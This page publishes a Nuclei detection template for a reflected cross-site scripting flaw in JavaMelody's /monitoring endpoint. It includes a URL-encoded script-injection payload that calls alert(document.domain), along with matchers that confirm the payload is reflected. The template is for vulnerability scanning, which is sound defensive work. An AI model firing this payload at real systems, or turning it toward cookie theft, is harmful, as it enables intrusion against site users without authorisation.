java-melody-xss: JavaMelody - Cross-Site Scripting

2025-08-01 JavaMelody PoC Public

Description

JavaMelody contains a cross-site scripting vulnerability via the monitoring parameter. An attacker can execute arbitrary script in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: java-melody-xss

info:
  name: JavaMelody - Cross-Site Scripting
  author: kailashbohara
  severity: high
  description: JavaMelody contains a cross-site scripting vulnerability via the monitoring parameter. An attacker can execute arbitrary script in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/Hurdano/JavaMelody-XSS
    - https://github.com/javamelody/javamelody/pull/555
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: xss,javamelody,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008d42436bc13f74aac6822a33df71deccd8355e01ac66bcb265cc0c4d8d282bf2022100a9f37cefb84eacb5bef8a0f2c8a3cd26cc69d9da6a65be496402e26d5e91e826:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/java-melody-xss.yaml

References

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